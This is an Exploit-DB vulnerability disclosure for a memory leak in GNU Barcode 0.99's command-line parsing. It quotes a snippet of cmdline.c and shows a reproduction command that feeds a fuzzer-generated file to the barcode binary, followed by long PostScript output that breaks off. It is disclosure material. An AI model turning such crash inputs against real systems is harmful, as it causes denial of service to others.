Exploit-DB #44798
Description: GNU Barcode 0.99 - Memory Leak
Type: local
Platform: linux
Date: 2018-05-29
Author: LiquidWorm

Exploit:
# GNU Barcode 0.99 - Memory Leak
# Vendor: The GNU Project | Free Software Foundation, Inc.
# Product web page: https://www.gnu.org/software/barcode/
# https://directory.fsf.org/wiki/Barcode
# Affected version: 0.99
# Tested on: Ubuntu 16.04.4
# Author: Gjoko 'LiquidWorm' Krstic

# Summary: GNU Barcode is a tool to convert text strings to printed bars.
# It supports a variety of standard codes to represent the textual strings
# and creates postscript output.

# Desc: GNU Barcode suffers from a memory leak vulnerability, which can be exploited
# by malicious people to cause a DoS (Denial of Service). The vulnerability is
# caused due to an error in the 'cmdline.c', which can be exploited to cause a
# memory leak via a specially crafted file. The vulnerability is confirmed in
# version 0.99. Other versions may also be affected.

cmdline.c:

128: int commandline(struct commandline *args, int argc, char **argv,
129:                 char *errorhead)
130: {
131:     struct commandline *ptr;
132:     char *getopt_desc = (char *)calloc(512, 1);
133:     int desc_offset = 0;
134:     int opt, retval;
135:     char *value;

lqwrm@metalgear:~/research/barcode-0.99$ ./barcode -b id:000034,sig:06,src:000000,op:havoc,rep:128
%!PS-Adobe-2.0
%%Creator: "barcode", libbarcode sample frontend
%%DocumentPaperSizes: A4
%%EndComments
%%EndProlog

%%Page: 1 1

% Printing barcode for "id:000034,sig:06,src:000000,op:havoc,rep:128", scaled  1.00, encoded using "code 128-B"
% The space/bar succession is represented by the following widths (space first):
%[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]132331112
[
%  height  xpos   ypos  width       height  xpos   ypos  width
   [75.00  11.00  15.00  1.85]      [75.00  13.50  15.00  0.85]
   [75.00  16.50  15.00  0.85]      [70.00  21.50  20.00  0.85]
   [70.00  27.00  20.00  3.85]      [70.00  30.50  20.00  0.85]
   [70.00  32.50  20.00  0.85]      [70.00  35.50  20.00  2.85]
   [70.00  40.00  20.00  1.85]      [70.00  43.50  20.00  0.85]
   [70.00  48.50  20.00  0.85]      [70.00  51.00  20.00  1.85]
   [70.00  54.50  20.00  0.85]      [70.00  57.50  20.00  0.85]
   [70.00  62.00  20.00  3.85]      [70.00  65.50  20.00  0.85]
   [70.00  68.50  20.00  0.85]      [70.00  71.00  20.00  1.85]
   [70.00  76.50  20.00  0.85]      [70.00  80.00  20.00  3.85]
   [70.00  84.50  20.00  0.85]      [70.00  87.50  20.00  0.85]
   [70.00  91.00  20.00  1.85]      [70.00  96.50  20.00  0.85]
   [70.00  98.50  20.00  0.85]      [70.00 101.00  20.00  1.85]
   [70.00 104.50  20.00  0.85]      [70.00 109.50  20.00  0.85]
   [70.00 113.00  20.00  3.85]      [70.00 117.50  20.00  0.85]
   [70.00 120.50  20.00  0.85]      [70.00 123.50  20.00  2.85]
   [70.00 128.00  20.00  1.85]      [70.00 131.50  20.00  0.85]
   [70.00 137.00  20.00  1.85]      [70.00 139.50  20.00  0.85]
   [70.00 142.50  20.00  0.85]      [70.00 147.50  20.00  0.85]
   [70.00 151.00  20.00  1.85]      [70.00 154.50  20.00  2.85]
   [70.00 158.50  20.00  0.85]      [70.00 162.00  20.00  1.85]
   [70.00 164.50  20.00  0.85]      [70.00 168.50  20.00  2.85]
   [70.00 172.00  20.00  1.85]      [70.00 175.50  20.00  0.85]
   [70.00 179.50  20.00  2.85]      [70.00 183.00  20.00  1.85]
   [70.00 186.50  20.00  0.85]      [70.00 190.50  20.00  2.85]
   [70.00 194.00  20.00  1.85]      [70.00 197.50  20.00  0.85]
   [70.00 201.50  20.00  2.85]      [70.00 205.00  20.00  1.85]
   [70.00 209.00  20.00  1.85]      [70.00 212.50  20.00  0.85]
   [70.00 215.50  20.00  2.85]      [70.00 220.00  20.00  1.85]
   [70.00 223.50  20.00  0.85]      [70.00 227.50  20.00  2.85]
   [70.00 230.50  20.00  0.85]      [70.00 233.00  20.00  1.85]
   [70.00 237.50  20.00  2.85]      [70.00 241.50  20.00  0.85]
   [70.00 245.00  20.00  3.85]      [70.00 249.50  20.00  0.85]
   [70.00 252.50  20.00  0.85]      [70.00 258.00  20.00  1.85]
   [70.00 260.50  20.00  0.85]      [70.00 263.50  20.00  0.85]
   [70.00 267.00  20.00  1.85]      [70.00 269.50  20.00  0.85]
   [70.00 275.50  20.00  2.85]      [70.00 279.50  20.00  0.85]
   [70.00 283.00  20.00  1.85]      [70.00 285.50  20.00  0.85]
   [70.00 289.50  20.00  2.85]      [70.00 293.00  20.00  1.85]
   [70.00 297.00  20.00  1.85]      [70.00 301.50  20.00  2.85]
   [70.00 304.50  20.00  0.85]      [70.00 307.50  20.00  0.85]
   [70.00 310.00  20.00  1.85]      [70.00 314.50  20.00  2.85]
   [70.00 318.50  20.00  0.85]      [70.00 322.00  20.00  3.85]
   [70.00 326.50  20.00  0.85]      [70.00 329.50  20.00  0.85]
   [70.00 332.50  20.00  0.85]      [70.00 337.00  20.00  3.85]
   [70.00 340.50  20.00  0.85]      [70.00 345.50  20.00  0.85]
   [70.00 348.00  20.00  1.85]      [70.00 352.50  20.00  2.85]
   [70.00 356.50  20.00  0.85]      [70.00 360.00  20.00  1.85]
   [70.00 362.50  20.00  0.85]      [70.00 366.50  20.00  2.85]
   [70.00 370.00  20.00  1.85]      [70.00 373.50  20.00  0.85]
   [70.00 377.50  20.00  2.85]      [70.00 381.00  20.00  1.85]
   [70.00 384.50  20.00  0.85]      [70.00 388.50  20.00  2.85]
   [70.00 392.00  20.00  1.85]      [70.00 395.50  20.00  0.85]
   [70.00 399.50  20.00  2.85]      [70.00 403.00  20.00  1.85]
   [70.00 406.50  20.00  0.85]      [70.00 410.50  20.00  2.85]
   [70.00 414.00  20.00  1.85]      [70.00 417.50  20.00  0.85]
   [70.00 421.50  20.00  2.85]      [70.00 425.00  20.00  1.85]
   [70.00 428.50  20.00  0.85]      [70.00 431.00  20.00  1.85]
   [70.00 435.50  20.00  2.85]      [70.00 439.50  20.00  0.85]
   [70.00 445.00  20.00  3.85]      [70.00 448.50  20.00  0.85]
   [70.00 450.50  20.00  0.85]      [70.00 452.50  20.00  0.85]
   [70.00 457.00  20.00  3.